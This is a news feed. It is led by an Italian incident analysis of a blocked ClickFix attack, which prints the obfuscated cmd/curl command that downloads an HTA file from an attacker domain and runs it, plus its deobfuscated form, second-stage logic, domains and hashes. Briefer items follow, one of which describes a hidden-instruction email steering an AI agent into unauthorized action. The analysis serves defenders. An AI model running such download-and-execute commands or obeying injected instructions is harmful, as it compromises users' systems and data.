ibm

Il 14 settembre 2026, AGGER ha rilevato e interrotto un tentativo di compromissione finalizzato al download e alla successiva esecuzione di un componente malevolo. L’attacco prevedeva l’esecuzione manuale di una sequenza di comandi da parte dell’utente, finalizzata al recupero del payload e alla prosecuzione della catena attraverso ulteriori stadi. La reaction applicata da AGGER ha interrotto la catena prima che il file malevolo potesse essere scaricato ed eseguito, impedendo quindi l’acquisizione diretta del payload destinato al sistema. Per questo motivo, l’attività di analisi si è concentrata sulla ricostruzione dei possibili stage successivi dell’attacco attraverso la correlazione degli artefatti osservati con campioni e campagne documentate pubblicamente. Parallelamente, l’analisi della cronologia del browser ha permesso di individuare il sito visitato dall’utente poco prima dell’esecuzione dei comandi. Una successiva verifica del sito ha consentito di riprodurre una falsa procedura di verifica che induceva l’utente a eseguire manualmente una sequenza di comandi sul sistema. La somiglianza tra la procedura riprodotta sul sito e quella ricostruita a partire dalle evidenze dell’incidente, unita alla struttura quasi sovrapponibile del comando, supporta l’ipotesi che l’attacco sia stato avviato tramite una tecnica di social engineering nota come ClickFix . Ricostruzione cronologica della catena di attacco La figura ricostruisce la catena distinguendo quando gli eventi si sono verificati da quando sono stati analizzati o ricostruiti . In particolare, il livello del 17 settembre raccoglie le evidenze emerse dall’analisi della cronologia del browser e dalla verifica del sito, mentre i nodi interni riportano la data in cui gli eventi ricostruiti si collocano nella sequenza. Le sezioni tecniche successive seguono invece l’ordine effettivo dell’analisi, dei pivot e delle attività di hunting. 17 settembre 2026: analisi del vettore iniziale e ricostruzione degli eventi del 14 settembre. L’analisi della cronologia del browser dell’utente coinvolto ha individuato un redirect da Google verso il sito successivamente risultato compromesso, registrato alle 14:06:47 del 14 settembre , due minuti e 42 secondi prima della detection di AGGER. Durante la verifica del medesimo sito, effettuata il 17 settembre , è stata riprodotta una falsa verifica di sicurezza che imitava Cloudflare: la pagina copiava automaticamente una command line negli appunti e invitava l’utente a eseguirla tramite Win + R → Ctrl + V → Enter. La procedura e la struttura quasi sovrapponibile dei comandi hanno supportato l’ipotesi che l’esecuzione del 14 settembre fosse stata probabilmente avviata tramite ClickFix . Il comando riprodotto il 17 settembre utilizzava però un dominio e un filename diversi da quelli dell’incidente originale. 14 settembre 2026: rilevazione e interruzione della catena. Alle 14:09:29 , AGGER ha rilevato sull’endpoint la sequenza explorer.exe → cmd.exe → curl.exe, finalizzata al download di rhp.hta da embankmentandopal[.]com/zx. La reaction ha interrotto la catena prima che il file potesse essere scaricato ed eseguito. Il body HTTP che sarebbe stato restituito da questo indirizzo non è stato quindi acquisito: il payload effettivamente destinato all’endpoint non era disponibile per un’analisi diretta. 16 settembre 2026: hunting e correlazione dei possibili stage successivi. Per proseguire oltre il punto di interruzione, l’indirizzo pubblico 207.148.25[.]29, associato a embankmentandopal[.]com, è stato utilizzato come pivot su ANY.RUN e per l’analisi degli historical SSL certificates. Le ricerche hanno portato all’individuazione di un campione pubblico rhp.hta e di ulteriori domini correlabili all’infrastruttura osservata. La deoffuscazione del campione ha rivelato codice che prevedeva un download da viaductandspinel[.]com/ost, il trattamento di un file con suffisso .pdf come archivio e la successiva esecuzione di WinWrapIDE.exe. Poiché il campione ne indicava solo il filename, è stato utilizzato come nuovo pivot lo SHA-256 di WinWrapIDE.exe pubblicato da LevelBlue : la ricerca su ANY.RUN ha individuato 81241123044010750.pdf, riconosciuto come archivio ZIP, con sette componenti corrispondenti per filename e hash al materiale documentato dalla stessa fonte. La correlazione non ha tuttavia dimostrato né che rhp.hta fosse il file distribuito da /zx, né che quell’archivio provenisse da viaductandspinel[.]com/ost o fosse destinato all’endpoint originale. 14 settembre 2026: accesso iniziale e rilevazione La telemetria direttamente osservata da AGGER sull’endpoint ha costituito il punto di partenza tecnico dell’indagine. Alle 14:09:29 è stata rilevata la sequenza explorer.exe → cmd.exe → curl.exe, finalizzata al download di un file HTA denominato rhp.hta da embankmentandopal[.]com/zx. La command line rilevata, con lo username anonimizzato, era: "C:\WINDOWS\system32\cmd.exe" /v:on /c "(set a=cu&set b=rl&for %l in (C:\Users\*\AppData\Local\rhp.hta) do !a!!b! -sLko %l embankmentandopal[.]com/zx& start "" "%l")" Listing 1: Command line osservata direttamente da AGGER. Il parametro /v:on abilitava la Delayed Environment Variable Expansion . Le istruzioni set a=cu, set b=rl e !a!!b! ricostruivano curl a runtime, mentre il ciclo for assegnava a %l il percorso C:\Users\*\AppData\Local\rhp.hta. Rimuovendo l’offuscamento, il comportamento principale risultava equivalente a: curl -sLk -o "C:\Users\*\AppData\Local\rhp.hta" "embankmentandopal[.]com/zx" start "" "C:\Users\*\AppData\Local\rhp.hta" Listing 2: Rappresentazione deoffuscata della command line osservata. Le opzioni di curl indicavano modalità silenziosa (-s), follow degli eventuali redirect (-L), mancata validazione del certificato TLS (-k) e salvataggio della risposta tramite -o. La telemetria direttamente rilevata da AGGER poteva quindi essere sintetizzata nella seguente catena: Figura 1: Catena osservata e punto di interruzione della reaction AGGER. Dal punto di vista MITRE ATT&CK, il comportamento osservato ricade nella tecnica T1105: Ingress Tool Transfer [5] e nelle sottotecniche T1059.003: Windows Command Shell [4] e T1027.010: Command Obfuscation [6]. La reaction applicata da AGGER ha interrotto la catena prima che rhp.hta potesse essere scaricato ed eseguito. Di conseguenza, il body HTTP restituito da embankmentandopal[.]com/zx non è stato acquisito e il payload effettivamente destinato all’endpoint non era disponibile per un’analisi diretta. Questo punto ha definito il confine dell’evidenza direttamente osservata sull’endpoint. Per ricostruire i possibili stage successivi, l’indagine è quindi proseguita attraverso attività di hunting e correlazione sugli indicatori emersi dall’incidente. 16 settembre 2026: attività di hunting e correlazione Pivot a partire dall’infrastruttura osservata Il primo elemento utilizzabile oltre il punto di interruzione era embankmentandopal[.]com, osservato direttamente nella command line rilevata da AGGER. Le verifiche sui dati pubblici hanno associato il dominio all’indirizzo IP 207.148.25[.]29 e hanno indicato che embankmentandopal[.]com era stato registrato il 14 settembre 2026 tramite Spaceship, Inc. [13]. L’indirizzo 207.148.25[.]29 è stato quindi utilizzato come pivot per due attività parallele: la ricerca di esecuzioni pubbliche su ANY.RUN e l’analisi degli historical SSL certificates. Il primo ramo aveva l’obiettivo di individuare artefatti compatibili con quanto osservato sull’endpoint; il secondo mirava a estendere la visibilità sull’infrastruttura correlata. Il pivot su ANY.RUN ha portato all’individuazione di un campione pubblico denominato rhp.hta [16], lo stesso filename previsto dalla command line dell’incidente. Il filename e il contesto infrastrutturale hanno reso il campione rilevante per l’hunting, ma non è stato possibile dimostrare che embankmentandopal[.]com/zx avesse restituito esattamente questo file il 14 settembre . Il campione è stato quindi utilizzato come artefatto investigativo per ricostruire una possibile prosecuzione della catena, non come payload direttamente acquisito dall’endpoint. Analisi del campione rhp.hta recuperato L’analisi del campione recuperato ha evidenziato una routine JavaScript che ricostruiva dinamicamente il codice effettivo: Listing 3: Routine di deoffuscazione presente nel campione HTA. La trasformazione applicata era String.fromCharCode((value – 7) ^ 51); il risultato veniva poi concatenato ed eseguito tramite Function(t)(). La ricostruzione e l’esecuzione dinamica del codice sono riconducibili alla tecnica T1140: Deobfuscate/Decode Files or Information [8] e alla sottotecnica T1059.007: JavaScript [7]. Successivamente, il codice deoffuscato ridimensionava la finestra a 0x0, la spostava fuori dall’area visibile, creava un oggetto WScript.Shell e generava un valore pseudocasuale utilizzato sia come directory sia come filename con estensione .pdf. L’occultamento della finestra rientra nella sottotecnica T1564.003: Hidden Window [9]. La logica principale del possibile second stage era: Listing 4: Download, estrazione ed esecuzione definiti nel campione rhp.hta. L’analisi ha quindi fatto emergere due nuovi elementi utili per il pivoting: viaductandspinel[.]com/ost e WinWrapIDE.exe. Il primo era direttamente presente nel codice deoffuscato; il secondo rappresentava l’eseguibile che il campione prevedeva di avviare dopo l’estrazione del contenuto scaricato. Infatti, il codice mostrava il tentativo di salvare il file con estensione .pdf e il successivo utilizzo del comando tar per trattarlo come un archivio. Questa modalità operativa è riconducibile alla sottotecnica T1036.008: Masquerade File Type [10], mentre il download tramite curl ricade nella tecnica T1105: Ingress Tool Transfer [5]. Le verifiche pubbliche hanno inoltre indicato che viaductandspinel[.]com, come embankmentandopal[.]com, era stato registrato il 14 settembre tramite Spaceship ed era associato allo stesso indirizzo 207.148.25[.]29 [14]. Questo elemento ha rafforzato l’interesse investigativo sul dominio, senza però colmare il gap tra il campione recuperato e il payload effettivamente destinato all’endpoint. A questo punto, WinWrapIDE.exe è diventato il nuovo elemento di pivot. Il campione ne indicava il filename, ma non ne conteneva l’hash; inoltre, il body restituito da viaductandspinel[.]com/ost non era disponibile. Per proseguire le attività investigative, è stato quindi aperto un ulteriore ramo di correlazione basato su fonti pubbliche. In particolare, l’articolo pubblicato da LevelBlue è stato utilizzato come fonte per recuperare lo SHA-256 associato a WinWrapIDE.exe, successivamente impiegato come nuovo pivot investigativo. Pivot su WinWrapIDE.exe e correlazione con LevelBlue La ricerca pubblicata da LevelBlue SpiderLabs il 10 agosto 2026 documentava una loader chain avviata tramite ClickFix nella quale veniva abusato un eseguibile IBM SPSS legittimo e firmato con lo stesso filename, WinWrapIDE.exe [12]. LevelBlue pubblicava per tale file lo SHA-256: 0562c588997fa9961d55c6ab1db2656344324bca8db9ea7b64fe309132b2399f Poiché questo hash non proveniva dal campione rhp.hta ma da una fonte esterna, è stato utilizzato esclusivamente come pivot investigativo. La ricerca nei report pubblici di ANY.RUN ha portato all’individuazione del file 81241123044010750.pdf. Nonostante il suffisso .pdf, la sandbox ha identificato il file come ZIP archive data . Il naming numerico risultava coerente con il comportamento osservato nel campione rhp.hta, che generava un filename pseudocasuale e trattava poi il contenuto scaricato come archivio. Questo elemento ha rafforzato la correlazione, senza però dimostrare che si trattasse del file distribuito da viaductandspinel[.]com/ost. L’esecuzione pubblica mostrava una process chain che includeva WinWrapIDE.exe, stage intermedi, 7za.exe e pythonw.exe. La stessa analisi riportava i tracker Stealer e Vidar , oltre al tag vidar applicato a pythonw.exe [15]. Figura 2: Esecuzione pubblica di 81241123044010750.pdf; nello stesso screenshot sono visibili process chain, tracker Stealer/Vidar e tag Vidar su pythonw.exe. Per verificare se la correlazione si limitasse al solo filename WinWrapIDE.exe o coinvolgesse l’intero package, il contenuto del file è stato confrontato con l’insieme di riferimento pubblicato da LevelBlue. Sono stati individuati sette componenti coincidenti sia per filename sia per SHA-256 [12][15]: WinWrapIDE.exe wwide9.dll ClLoca.dll Xceed.Wpf.DataGrid.dll ComPDFKit.Viewer.dll model.dat HelperStandardizationApplication.bin Listing 5: Componenti coincidenti con l’insieme di riferimento documentato da LevelBlue. La corrispondenza dei sette componenti ha fornito un elemento ad alta confidenza a supporto del legame tra il contenuto del file analizzato e il package della loader chain documentata da LevelBlue. Non è stato tuttavia stabilito che viaductandspinel[.]com/ost avesse distribuito questo specifico file. Di conseguenza, non è stato possibile stabilire che 81241123044010750.pdf rappresentasse il second stage destinato all’endpoint coinvolto nell’incidente originale. Allo stesso modo, la classificazione Vidar / Stealer descriveva la specifica esecuzione pubblica osservata su ANY.RUN e non dimostrava che Vidar fosse il payload finale previsto per l’incidente del 14 settembre . Correlazione dell’infrastruttura Parallelamente al ramo di correlazione basato su WinWrapIDE.exe, il 16 settembre l’indirizzo 207.148.25[.]29 e il dominio osservato nell’incidente sono stati utilizzati per estendere l’analisi dell’infrastruttura. La consultazione degli historical SSL certificates ha portato all’individuazione di: weirandchalcedony[.]com rapidsandhematite[.]com cascadeandtopaz[.]com cataractandivory[.]com lockandlabradorite[.]com I certificati relativi a questi domini risultavano emessi tra l’8 e il 12 settembre 2026 . Questa finestra temporale indicava la data di emissione dei certificati e non il momento in cui i domini erano stati osservati dagli analisti. Dopo l’introduzione degli ulteriori domini emersi nei diversi rami dell’indagine, è stato possibile confrontare il cluster nel suo insieme. embankmentandopal[.]com, viaductandspinel[.]com, aqueductandcitrine[.]com e i domini individuati tramite historical SSL certificates condividevano un template lessicale ricorrente: un termine legato all’acqua o a opere di ingegneria civile, la stringa and e un termine riferibile a una gemma o a un materiale decorativo . Esempi includevano weir + chalcedony, cascade + topaz, aqueduct + citrine, embankment + opal e viaduct + spinel. Le verifiche sui dati di registrazione hanno inoltre evidenziato un utilizzo ricorrente del registrar Spaceship . Queste caratteristiche sono state utilizzate come criteri di correlazione e come possibili pivot per ulteriori attività di hunting; non sono state formulate ipotesi sul meccanismo con cui i nomi dei domini erano stati generati. Un ulteriore elemento di correlazione è stato individuato in un task Triage pubblico dell’ 8 settembre 2026 , quindi precedente all’incidente, nel quale cataractandivory[.]com/lj veniva utilizzato per scaricare ops.hta [3]. Il task mostrava la stessa costruzione set a=cu / set b=rl, la Delayed Environment Variable Expansion , l’utilizzo di curl, il download di un file .hta sotto %LocalAppData% e la successiva esecuzione tramite mshta.exe. L’esecuzione del file HTA tramite mshta.exe rientra nella sottotecnica T1218.005: System Binary Proxy Execution: Mshta [11]. Il task Triage rappresentava tuttavia evidenza TI esterna e preesistente , non telemetria dell’incidente originale. Allo stesso modo, la pubblicazione LevelBlue del 10 agosto 2026 e il task Triage dell’ 8 settembre 2026 sono stati utilizzati come fonti di correlazione durante l’indagine e non rappresentano eventi osservati sulla macchina coinvolta. 17 settembre 2026: ricostruzione dell’accesso iniziale Dopo aver ricostruito i possibili stage successivi attraverso attività di hunting, l’analisi si è concentrata sul possibile vettore che aveva preceduto l’esecuzione osservata da AGGER. La cronologia del browser dell’utente coinvolto ha evidenziato che, alle 14:06:47 del 14 settembre , circa 2 minuti e 42 secondi prima della detection AGGER delle 14:09:29 , era avvenuto un redirect da Google verso il sito successivamente risultato compromesso. Il 17 settembre , una successiva verifica dello stesso sito ha consentito di riprodurre una falsa verifica di sicurezza che imitava Cloudflare . La pagina copiava automaticamente una command line negli appunti del sistema e invitava l’utente a eseguirla tramite la sequenza Win + R → Ctrl + V → Enter. Figura 3: Falsa verifica riprodotta durante l’analisi successiva. Le informazioni identificative del sito sono state oscurate. La command line inserita nella clipboard durante la verifica era: Listing 6: Command line generata durante la verifica del 17/09/2026. Il comando non coincideva con quello osservato durante l’incidente originale : il 14 settembre venivano utilizzati embankmentandopal[.]com/zx e rhp.hta, mentre la verifica del 17 settembre ha prodotto aqueductandcitrine[.]com/gb e pto.hta. La struttura di esecuzione e offuscamento risultava tuttavia quasi sovrapponibile: in entrambi i casi venivano utilizzati cmd.exe, la Delayed Environment Variable Expansion, la ricostruzione di curl tramite set a=cu / set b=rl, il download di un file HTA sotto il profilo utente e la successiva esecuzione del file. La combinazione tra la cronologia di navigazione, la procedura riprodotta sul sito e la forte somiglianza strutturale dei comandi ha supportato l’assessment secondo cui l’esecuzione del 14 settembre fosse stata probabilmente avviata tramite una tecnica di social engineering di tipo ClickFix . In termini di mapping MITRE ATT&CK, questo comportamento è riconducibile alla sottotecnica T1204.004: User Execution: Malicious Copy and Paste [1][2]. aqueductandcitrine[.]com è stato osservato esclusivamente durante questa verifica successiva e non faceva parte della command line rilevata da AGGER il 14 settembre . Mappatura MITRE ATT&CK Technique Nome Evidenza Scope User Execution: Malicious Copy and Falsa human verification, Win + R, paste ed T1204.004 [2] Incidente / verifica successiva Paste execution T1059.003 [4] Windows Command Shell cmd.exe /v:on /c Incidente curl verso /zx; curl verso /ost nel campione T1105 [5] Ingress Tool Transfer Incidente / campione recuperato HTA clickfix_analysis_it_rev02.md 2026-10-09 Technique Nome Evidenza Scope T1027.010 [6] Command Obfuscation a=cu, b=rl, !a!!b! Incidente T1059.007 [7] JavaScript JavaScript presente nell’HTA Campione rhp.hta Deobfuscate/Decode Files or Ricostruzione tramite array, XOR e T1140 [8] Campione rhp.hta Information fromCharCode T1564.003 [9] Hidden Window resizeTo(0,0) e moveTo(-32000,-32000) Campione rhp.hta T1036.008 Campione rhp.hta / package Masquerade File Type File .pdf trattato come archivio [10] pubblico T1218.005 System Binary Proxy Execution: mshta.exe esegue ops.hta Task Triage correlato [11] Mshta Indicatori di compromissione Per mantenere distinta la provenienza degli indicatori, gli IoC sono riportati insieme al contesto nel quale sono emersi. La presenza nella stessa tabella non implica che tutti siano stati osservati direttamente sull’endpoint coinvolto nell’incidente. Rete Indicatore Provenienza / Scope embankmentandopal[.]com Command line osservata direttamente da AGGER embankmentandopal[.]com/zx Command line osservata direttamente da AGGER 207.148.25[.]29 IP associato al dominio osservato; utilizzato come pivot investigativo viaductandspinel[.]com Campione pubblico rhp.hta recuperato tramite hunting viaductandspinel[.]com/ost Codice deoffuscato del campione pubblico rhp.hta aqueductandcitrine[.]com Verifica successiva del 17 settembre aqueductandcitrine[.]com/gb Command line generata durante la verifica del 17 settembre cataractandivory[.]com Correlazione infrastrutturale / TI esterna cataractandivory[.]com/lj Task Triage pubblico dell'8 settembre weirandchalcedony[.]com Historical SSL certificate analysis rapidsandhematite[.]com Historical SSL certificate analysis cascadeandtopaz[.]com Historical SSL certificate analysis lockandlabradorite[.]com Historical SSL certificate analysis Hash dei file: SHA-256 Provenienza SHA-256 File / Scope Campione pubblico 02e02d79e0d3bc813e722c3432ec3a08e1aa513cd20c9a57917260d730a31d4f rhp.hta individuato tramite pivot su ANY.RUN File pubblico individuato su ANY.RUN bd75e2ae7e47a67d4832c409c7dd0840fb5b6b1ad2d074b7c0174fb11adc0bd6 81241123044010750.pdf tramite pivot sull’hash LevelBlue clickfix_analysis_it_rev02.md 2026-10-09 Provenienza SHA-256 File / Scope Hash pubblicato da LevelBlue 0562c588997fa9961d55c6ab1db2656344324bca8db9ea7b64fe309132b2399f WinWrapIDE.exe / componente del package correlato Componente 5b71b49bad415643ff3e291ee3ba550e5edfd584eb913859dadb81634450e7e7 wwide9.dll del package correlato Componente 3d4e7187f74de912f9d52f5ba6a95bd41868348b16583d72957d732c0ed8f0e7 ClLoca.dll del package correlato Componente b804b9dd2726e69fb4f496a6872f90edf9146ad8044c6d3a592040ce1074a5d0 Xceed.Wpf.DataGrid.dll del package correlato Componente 3466c3524f13cb3b7c87819e619bdb482ec9034a57bcdbe0240af6a9a530b02a ComPDFKit.Viewer.dll del package correlato Componente 3b9b86feb3b789dda9cdfe5425ccb7e1feae9fde2cc158ff962991218a98f53f model.dat del package correlato Componente 2922837a8d049bf0b51f0f9b27340a377b27dd1912675e2cd82056db83ec7a19 HelperStandardizationApplication.bin del package correlato Il sito compromesso non viene identificato né inserito tra gli IoC nel presente articolo. Le evidenze disponibili indicano che è stato utilizzato come punto di delivery della lure; non viene formulata alcuna attribuzione di intenzionalità al proprietario del sito. Conclusioni L’incidente del 14 settembre è stato intercettato da AGGER durante il tentativo di download di rhp.hta, prima che il file potesse essere scaricato ed eseguito. L’interruzione ha impedito l’acquisizione del body restituito da embankmentandopal[.]com/zx, definendo un chiaro confine tra la telemetria direttamente osservata e le successive attività investigative. A partire dal dominio rilevato da AGGER, l’indagine ha utilizzato 207.148.25[.]29 come pivot su ANY.RUN e per l’analisi dell’infrastruttura. Il primo ramo ha portato all’individuazione di un campione pubblico rhp.hta; la sua analisi ha fatto emergere viaductandspinel[.]com/ost e l’esecuzione prevista di WinWrapIDE.exe. Questi risultati hanno consentito di ricostruire una possibile prosecuzione della catena, senza dimostrare che il campione recuperato fosse il payload effettivamente restituito da /zx. Poiché il body di /ost non era disponibile e il campione non conteneva l’hash di WinWrapIDE.exe, l’indagine è proseguita utilizzando come pivot lo SHA-256 pubblicato da LevelBlue. La ricerca ha portato al file pubblico 81241123044010750.pdf, identificato dalla sandbox come archivio ZIP. La corrispondenza di sette componenti, sia per filename sia per SHA-256, ha fornito un elemento ad alta confidenza a supporto del legame con il package della loader chain documentata da LevelBlue. Non è stato tuttavia stabilito che /ost avesse distribuito quello specifico file, né che la classificazione Vidar osservata nella relativa esecuzione pubblica rappresentasse il payload finale destinato all’endpoint originale. Parallelamente l’analisi degli historical SSL certificates, dei dati di registrazione e delle fonti TI esterne ha evidenziato un insieme di domini accomunati da caratteristiche infrastrutturali e lessicali ricorrenti, fornendo ulteriori pivot per attività di hunting senza estendere tali correlazioni oltre le evidenze disponibili. Infine, l’analisi della cronologia del browser ha permesso di ricostruire il probabile vettore iniziale dell’attacco. È stato individuato un redirect verso il sito successivamente risultato compromesso, avvenuto poco prima della detection di AGGER. La verifica effettuata il 17 settembre ha poi consentito di riprodurre una falsa verifica di sicurezza che imitava Cloudflare e induceva l’utente a eseguire manualmente una command line. La procedura osservata, insieme alla struttura quasi sovrapponibile dei comandi, ha supportato l’assessment secondo cui l’esecuzione del 14 settembre fosse stata probabilmente avviata tramite ClickFix . Riferimenti Microsoft Threat Intelligence: Think before you Click(Fix): Analyzing the ClickFix social engineering technique MITRE ATT&CK: T1204.004, User Execution: Malicious Copy and Paste Triage: Public behavioral analysis 260908-1xxxzahl9s MITRE ATT&CK: T1059.003, Windows Command Shell MITRE ATT&CK: T1105, Ingress Tool Transfer MITRE ATT&CK: T1027.010, Command Obfuscation MITRE ATT&CK: T1059.007, JavaScript MITRE ATT&CK: T1140, Deobfuscate/Decode Files or Information MITRE ATT&CK: T1564.003, Hidden Window MITRE ATT&CK: T1036.008, Masquerade File Type MITRE ATT&CK: T1218.005, System Binary Proxy Execution: Mshta LevelBlue SpiderLabs: CNCMachineRMS: The Undocumented RAT At the End of a BabaDeda Chain , 10 August 2026 Public domain metadata: embankmentandopal.com Public domain metadata: viaductandspinel.com ANY.RUN: Public sandbox execution of 81241123044010750.pdf ANY.RUN: Public sandbox execution of rhp.hta Scarica il documento originale (PDF) L'articolo Da ClickFix alla distribuzione HTA: ricostruzione di una catena interrotta da AGGER proviene da Red Hot Cyber .

The process that gates nearly every B2B deal is a self-assessment the sender distrusts and the receiver accepts. There is finally a better basis for trust between companies. The post Nobody Trusts the Security Questionnaire. We Rely on It Anyway. appeared first on SecurityWeek .

L’AI generativa e gli agenti autonomi stanno entrando in imprese e PA più velocemente delle regole che dovrebbero governarli. Il rischio non riguarda solo i modelli, ma soprattutto chi può accedere ai sistemi, con quali permessi, quali dati può utilizzare e quanto rapidamente un’organizzazione è in grado di reagire e ripartire dopo un incidente. Nel dibattito sull’utilizzo e le potenzialità dell’Intelligenza artificiale, è utile inserire un elemento ulteriore: la sua capacità di spostare il perimetro della sicurezza su identità e dati. AI generativa e agenti autonomi entrano in imprese e PA più velocemente delle regole per governarli, e dunque le organizzazioni devono essere pronte per risolvere problemi non ancora regolamentati ma evidenti. Immaginiamo tre scene da un martedì qualunque. Un commerciale deve chiudere una gara e copia prezzi, margini e condizioni del cliente in un chatbot pubblico, usando il proprio account. Il risultato è buono, ma quei dati finiscono su un servizio che l’azienda non ha mai valutato, attraverso un’identità che non controlla. L’AI allarga il perimetro della sicurezza Nello stesso momento, l’IT mette in produzione un agente AI che legge le richieste dei clienti, interroga il CRM e aggiorna gli ordini via API. Funziona, e nessuno si chiede con quali credenziali operi: spesso è un account tecnico creato in fretta, con privilegi elevati e una chiave mai cambiata. Basta una mail costruita ad arte, con istruzioni nascoste nel testo perché l’agente esegua un’azione non autorizzata. Qualche giorno dopo, un ransomware cifra i server e anche i backup raggiungibili dalla rete. La mattina dopo, l’azienda scopre che i sistemi sono bloccati e deve capire quanto tempo servirà per ripristinarli e quanti dati potrà recuperare. Le scene sono inventate, i numeri no. Secondo IBM , il 20% delle organizzazioni colpite ha attribuito la violazione a strumenti di AI usati senza autorizzazione, con un costo aggiuntivo medio di 670.000 dollari. Il 63% non aveva una policy di governo dell’AI e, tra chi aveva subito incidenti su modelli o applicazioni AI, il 97% non disponeva di controlli di accesso adeguati. In Italia il quadro non è più rassicurante: il Rapporto Clusit 2026 conta 507 incidenti gravi nel 2025, il 42% in più rispetto al 2024. Proteggere questo nuovo perimetro richiede di integrare governance dell’AI, gestione degli accessi, sicurezza dei dati, monitoraggio e capacità di ripristino. Identità non umane: chi controlla chi agisce? La domanda che conta è: chi controlla chi agisce? Le tre scene hanno una radice comune: dietro ogni azione c’è un’identità e in mezzo c’è sempre un dato. Oggi però molte identità non sono persone, ma account di servizio, chiavi API, token e certificati con cui software, servizi e agenti AI accedono ai sistemi. Secondo CyberArk , nel 2025 erano già oltre 80 volte più numerose delle identità umane, mentre con l’AI agentica il fenomeno è destinato ad accelerare: Gartner prevede che entro il 2028 un terzo delle applicazioni aziendali includerà funzionalità agentiche. Un dipendente viene assunto, autorizzato e poi disattivato quando se ne va; un agente AI spesso salta questi passaggi: può non avere un responsabile chiaro, accumulare permessi, non scadere mai né essere sottoposto a revisioni. Per questo il perimetro della sicurezza non coincide più con la rete, ma con chi può fare cosa, su quali dati e con quale capacità di dimostrarlo. Eppure in molte organizzazioni identità, dati, backup e monitoraggio restano gestiti separatamente, lasciando scoperto il quadro d’insieme. A questo si aggiunge la normativa. Il D.Lgs. 138/2024, che recepisce la NIS2, attribuisce agli organi di amministrazione e direzione la responsabilità delle misure di gestione del rischio, dal controllo degli accessi ai backup e alla continuità operativa. L’AI Act e la legge italiana sull’intelligenza artificiale aggiungono obblighi di governo e trasparenza. La sicurezza dell’AI  non è più solo un tema tecnico, ma una responsabilità del vertice. L’ideale sarebbe poter contare su modello integrato in quattro pilastri Governare l’AI: prima vedere, poi decidere Non si governa ciò che non si vede. Il primo passo è mappare l’uso reale dell’AI, con una classificazione dei casi d’uso per rischio, in linea con l’AI Act. Vietare senza offrire alternative spinge semplicemente il problema più in profondità. Identità e accessi: ogni agente è un utente Ogni identità non umana va censita e deve avere un responsabile, uno scopo e una scadenza. Vale il principio del least privilege: solo i permessi necessari, per il tempo necessario, con la possibilità di bloccare rapidamente un agente che si comporta in modo anomalo. Dati e connessioni: proteggere ciò che l’AI tocca L’AI ha valore perché accede ai dati, e per questo rappresenta un rischio. Servono classificazione delle informazioni, controlli sui dati sensibili, cifratura e protezione delle API, delle integrazioni e dei connettori usati dagli agenti. I compiti e gli accessi vanno filtrati secondo il principio zero trust: nessuna fiducia implicita. Vedere, rispondere, ripartire Ogni azione deve lasciare una traccia leggibile. Quando la prevenzione fallisce, conta la resilienza: backup immutabili e isolati, procedure di ripristino testate e obiettivi chiari su tempi di fermo (RTO) e perdita di dati (RPO). Dalla prevenzione alla resilienza operativa Le tecnologie esistono e sono mature; la difficoltà è integrarle e mantenerle efficaci mentre organizzazioni e agenti cambiano. È su questo che lavora la BU Cyber Security di Sielte , al fianco di imprese e PA: si parte da un assessment sull’uso dell’AI e sui rischi connessi, che definisce priorità e roadmap, per arrivare a una progettazione integrata di identità, dati, rete, applicazioni e continuità operativa. Sielte integra le soluzioni dei propri partner e, attraverso il GLOC, che riunisce SOC e NOC, assicura monitoraggio continuo, risposta coordinata agli incidenti e test di ripristino, con un unico interlocutore dall’architettura all’esercizio. L’AI fa risparmiare tempo e nessuno vuole rinunciarci. Ma lo stesso agente che oggi sbriga una pratica in un minuto, domani può aprire una porta che nessuno sapeva di avere. A fare la differenza non sarà chi adotta più AI, ma chi sa quali strumenti usa, chi vi accede, cosa possono fare e quanto in fretta può ripartire dopo un incidente. Il test è semplice: sappiamo davvero quali AI e agenti operano nei nostri sistemi, con quali permessi e lasciando quali tracce? E quanto ci metteremmo a ripristinare un servizio critico? Se per rispondere servono più di pochi secondi, è da lì che conviene partire. Perché il prossimo martedì qualunque potrebbe essere già cominciato. Vai al sito di Cybersecurity Italia. L'articolo AI e cybersecurity: il nuovo perimetro della sicurezza passa da identità, dati e agenti sembra essere il primo su CyberSecurity Italia .

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Monday confirmed active exploitation of the recently patched PHP2Shell flaws by adding them to its Known Exploited Vulnerabilities (KEV) catalog. The PHP vulnerabilities, both rated 9.2 on the CVSS scoring system, facilitate unauthenticated remote code execution on affected deployments - CVE-2026-109618 - An out-of-memory

Right now, there is probably an AI agent running on a laptop somewhere in your network. It stores API keys and database passwords, can access your internal systems, and works without anyone watching. Nobody reviewed its access. Nobody owns it. If an employee had that much reach with that little oversight, you would call it an insider risk. So why do we still call the agent a productivity tool?

Java library vulnerabilities: IBM and Red Hat fix 400+ previously unknown flaws IBM and Red Hat have found and fixed more than 400 previously unknown vulnerabilities in widely used Java libraries through Lightwell, their program for patching open source code that companies already run in production. Companies running the affected libraries are exposed until they apply the fixes. Autonomous AI agents can now combine several minor software weaknesses into one serious attack. “AI agents do not care if a codebase is ten years old or otherwise considered stable, because one small crack is all it takes to chain an attack together. Finding those bugs is only half the battle: the real work is backporting fixes directly into active production apps so customers do not have to pick between security and uptime. Finding and neutralizing 400+ novel vulnerabilities so quickly shows how fast Lightwell can move, and we are just getting started,” said Gunnar Hellekson, VP and GM, Lightwell, Red Hat. The two companies also made Lightwell Clearinghouse generally available, letting enterprise customers submit specific open source dependencies for priority review and repair. How the fixes reach customers Lightwell backports the patches. That means it rewrites each fix to fit the older library version a company still runs, so the team can apply it without first upgrading. The patches arrive through secured repositories that plug into a customer’s existing scanners, software repositories, development pipelines and testing. Clearinghouse adds a request line: a customer names a vulnerability it cares about, and Lightwell reviews it, fixes it and supplies a patch for the older version in use. No names, no CVEs, no severity scores The companies didn’t say which libraries were affected. You won’t find CVE numbers, severity ratings or a time frame for the 400 finds either. Red Hat says fixes that apply upstream go back to the open source projects through responsible disclosure, though Clearinghouse participants keep their embargo protections. So if you use these libraries and you’re not in the program, your fix will come from the public upstream release, whenever disclosure allows it. Webinar: Closing the accountability gap in AI-assisted delivery

Ransomware groups are increasingly targeting backup infrastructure to eliminate recovery options and increase pressure on victims to pay. Kaseya explains why organizations need isolated, immutable, and regularly tested backups that attackers cannot easily reach. [...]

